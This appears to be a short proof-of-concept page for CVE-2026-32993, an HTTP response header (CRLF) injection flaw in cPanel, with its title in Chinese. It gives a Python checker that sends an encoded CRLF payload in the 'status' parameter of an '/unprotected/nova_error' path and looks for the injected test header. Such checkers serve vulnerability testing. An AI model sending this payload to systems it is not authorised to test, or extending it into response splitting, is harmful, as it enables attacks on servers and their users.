CVE-2026-32993 cPanel HTTP响应头注入漏洞

import requests def check_cve_2026_32993(target_url): """Check for CVE-2026-32993 HTTP Header Injection""" vuln_url = f"{target_url}/unprotected/nova_error" # Payload injects CRLF followed by a custom test header # %0d%0a represents CRLF characters payload = "200 OK%0d%0aX-CVE-2026-Test: header_injected" try: response = requests.get(vuln_url, params={"status": payload}, timeout=5) # Verify if the arbitrary header was reflected in the response if "X-CVE-2026-Test" in response.headers: print(f"[+] Target {target_url} is VULNERABLE!") print(f"[+] Injected Header Found: {response.headers['X-CVE-2026-Test']}") return True else: print(f"[-] Target {target_url} appears safe or patched.") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False # Usage # target = "http://example.com:2082" # check_cve_2026_32993(target)